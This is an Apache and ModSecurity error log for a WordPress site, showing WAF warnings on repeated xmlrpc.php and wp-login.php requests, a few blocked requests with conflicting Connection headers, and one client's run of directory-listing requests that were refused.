[Sun Apr 12 13:38:26.348754 2026] [:error] [pid 25437:tid 25461] [client 113.19.183.1:49148] [client 113.19.183.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.19.183.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsv0nf97wYZje1ep_PfKAAAANY"]
[Sun Apr 12 13:38:37.097963 2026] [:error] [pid 25328:tid 25401] [client 113.19.183.1:50114] [client 113.19.183.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.19.183.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsv3cxUaQZxT-e0YsCiOwAAAFU"]
[Sun Apr 12 13:38:47.899149 2026] [:error] [pid 26600:tid 26651] [client 113.19.183.1:51054] [client 113.19.183.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.19.183.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsv5-1YwAZiXhQKLYrrAwAAAZY"]
[Sun Apr 12 13:38:58.579951 2026] [:error] [pid 60280:tid 60295] [client 113.19.183.1:52028] [client 113.19.183.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.19.183.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsv8nBlLnDOYuIykkjOSAAAAc0"]
[Sun Apr 12 13:39:09.383454 2026] [:error] [pid 26567:tid 26581] [client 113.19.183.1:52925] [client 113.19.183.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.19.183.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adsv_XhRpg6ptWFyFx1rwgAAAQw"]
[Sun Apr 12 14:51:56.100461 2026] [:error] [pid 25328:tid 25370] [client 190.106.134.147:43058] [client 190.106.134.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.106.134.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adtBDMxUaQZxT-e0YsDCeQAAAEY"]
[Sun Apr 12 14:52:09.878266 2026] [:error] [pid 25329:tid 25392] [client 190.106.134.147:59686] [client 190.106.134.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.106.134.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adtBGWdcIYsS8Iyaj12OoQAAAIk"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 12 15:35:35.032088 2026] [:error] [pid 25327:tid 25357] [client 52.196.153.77:35014] [client 52.196.153.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.196.153.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adtLRy6h2tZEVJo9JFKwxAAAABU"]
[Sun Apr 12 15:35:47.278682 2026] [:error] [pid 26567:tid 26588] [client 52.196.153.77:53330] [client 52.196.153.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.196.153.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adtLU3hRpg6ptWFyFx1_vAAAARM"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 12 16:17:32.813851 2026] [:error] [pid 25329:tid 25415] [client 123.231.104.44:23722] [client 123.231.104.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.231.104.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtVHGdcIYsS8Iyaj12VDwAAAJg"]
[Sun Apr 12 16:17:44.125879 2026] [:error] [pid 26567:tid 26573] [client 123.231.104.44:24435] [client 123.231.104.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.231.104.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtVKHhRpg6ptWFyFx2FWQAAAQQ"]
[Sun Apr 12 16:17:53.604849 2026] [:error] [pid 26599:tid 26619] [client 123.231.104.44:24436] [client 123.231.104.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.231.104.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtVMXG89LXoQbk_rwCxaQAAAVE"]
[Sun Apr 12 16:18:05.263874 2026] [:error] [pid 26599:tid 26622] [client 123.231.104.44:24437] [client 123.231.104.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.231.104.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtVPXG89LXoQbk_rwCxcgAAAVQ"]
[Sun Apr 12 16:18:36.886679 2026] [:error] [pid 25328:tid 25375] [client 123.231.104.44:24438] [client 123.231.104.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.231.104.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtVXMxUaQZxT-e0YsDZ0QAAAEk"]
[Sun Apr 12 16:41:51.867333 2026] [:error] [pid 25437:tid 25449] [client 154.84.226.199:63465] [client 154.84.226.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.84.226.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtaz3f97wYZje1ep_MOoAAAAMo"]
[Sun Apr 12 16:42:02.547003 2026] [:error] [pid 25437:tid 25453] [client 154.84.226.199:63959] [client 154.84.226.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.84.226.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adta2nf97wYZje1ep_MOpgAAAM4"]
[Sun Apr 12 16:42:13.245677 2026] [:error] [pid 25328:tid 25405] [client 154.84.226.199:64450] [client 154.84.226.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.84.226.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adta5cxUaQZxT-e0YsDggwAAAFc"]
[Sun Apr 12 16:42:23.886001 2026] [:error] [pid 60280:tid 60294] [client 154.84.226.199:64947] [client 154.84.226.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.84.226.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adta73BlLnDOYuIykkgkKwAAAcw"]
[Sun Apr 12 16:42:34.613143 2026] [:error] [pid 25327:tid 25340] [client 154.84.226.199:65453] [client 154.84.226.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.84.226.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adta-i6h2tZEVJo9JFK30gAAAAQ"]
[Sun Apr 12 16:47:38.626007 2026] [autoindex:error] [pid 26567:tid 26592] [client 143.110.240.70:65225] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Apr 12 17:10:59.404583 2026] [:error] [pid 60280:tid 60299] [client 43.153.122.30:38208] [client 43.153.122.30] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adtho3BlLnDOYuIykkgz4AAAAdE"]
[Sun Apr 12 17:25:42.908527 2026] [:error] [pid 25328:tid 25375] [client 59.103.118.95:41730] [client 59.103.118.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.103.118.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtlFsxUaQZxT-e0YsDzsAAAAEk"]
[Sun Apr 12 17:25:53.473777 2026] [:error] [pid 26600:tid 26649] [client 59.103.118.95:41544] [client 59.103.118.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.103.118.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtlIe1YwAZiXhQKLYoaHAAAAZQ"]
[Sun Apr 12 17:30:34.693050 2026] [:error] [pid 60280:tid 60306] [client 59.103.118.95:40761] [client 59.103.118.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.103.118.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtmOnBlLnDOYuIykkhA6QAAAdg"]
[Sun Apr 12 17:30:59.139131 2026] [:error] [pid 26600:tid 26653] [client 59.103.118.95:42382] [client 59.103.118.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.103.118.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adtmU-1YwAZiXhQKLYobYgAAAZg"]
[Sun Apr 12 18:20:39.979297 2026] [:error] [pid 25328:tid 25369] [client 43.135.148.92:53192] [client 43.135.148.92] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adtx98xUaQZxT-e0YsAMzgAAAEU"]
[Sun Apr 12 19:00:42.077324 2026] [:error] [pid 25327:tid 25349] [client 203.86.122.1:34768] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adt7Wi6h2tZEVJo9JFLUZAAAAA0"]
[Sun Apr 12 19:00:42.122686 2026] [:error] [pid 25327:tid 25338] [client 171.111.192.222:35078] [client 171.111.192.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.111.192.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adt7Wi6h2tZEVJo9JFLUZQAAAAI"]
[Sun Apr 12 19:00:44.046139 2026] [:error] [pid 25327:tid 25347] [client 171.111.192.222:35078] [client 171.111.192.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.111.192.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adt7XC6h2tZEVJo9JFLUZgAAAAs"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 12 19:00:44.366692 2026] [:error] [pid 25327:tid 25359] [client 203.86.122.1:34768] [client 203.86.122.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.86.122.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adt7XC6h2tZEVJo9JFLUZwAAABc"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 12 23:08:14.339781 2026] [autoindex:error] [pid 25328:tid 25389] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:17.644893 2026] [autoindex:error] [pid 25328:tid 25366] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:28.041620 2026] [autoindex:error] [pid 25328:tid 25401] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:29.675824 2026] [autoindex:error] [pid 25328:tid 25398] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:35.809858 2026] [autoindex:error] [pid 25328:tid 25408] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:36.164580 2026] [autoindex:error] [pid 25328:tid 25364] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:38.239996 2026] [autoindex:error] [pid 25328:tid 25387] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:38.422021 2026] [autoindex:error] [pid 25328:tid 25385] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:38.590124 2026] [autoindex:error] [pid 25328:tid 25365] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:39.898712 2026] [autoindex:error] [pid 25328:tid 25396] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:40.066788 2026] [autoindex:error] [pid 25328:tid 25403] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:40.249632 2026] [autoindex:error] [pid 25328:tid 25408] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:43.355048 2026] [autoindex:error] [pid 25328:tid 25394] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:43.554143 2026] [autoindex:error] [pid 25328:tid 25380] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:43.729168 2026] [autoindex:error] [pid 25328:tid 25391] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:48.607942 2026] [autoindex:error] [pid 25328:tid 25377] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:48.803876 2026] [autoindex:error] [pid 25328:tid 25398] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:49.052568 2026] [autoindex:error] [pid 25328:tid 25373] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:49.225510 2026] [autoindex:error] [pid 25328:tid 25405] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:49.407016 2026] [autoindex:error] [pid 25328:tid 25379] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:49.582684 2026] [autoindex:error] [pid 25328:tid 25387] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:51.260899 2026] [autoindex:error] [pid 25328:tid 25368] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:51.439384 2026] [autoindex:error] [pid 25328:tid 25396] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:55.854670 2026] [autoindex:error] [pid 25328:tid 25394] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:59.404951 2026] [autoindex:error] [pid 25328:tid 25408] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:08:59.755751 2026] [autoindex:error] [pid 25328:tid 25389] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 23:09:04.035702 2026] [autoindex:error] [pid 25328:tid 25377] [client 173.239.218.53:51515] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
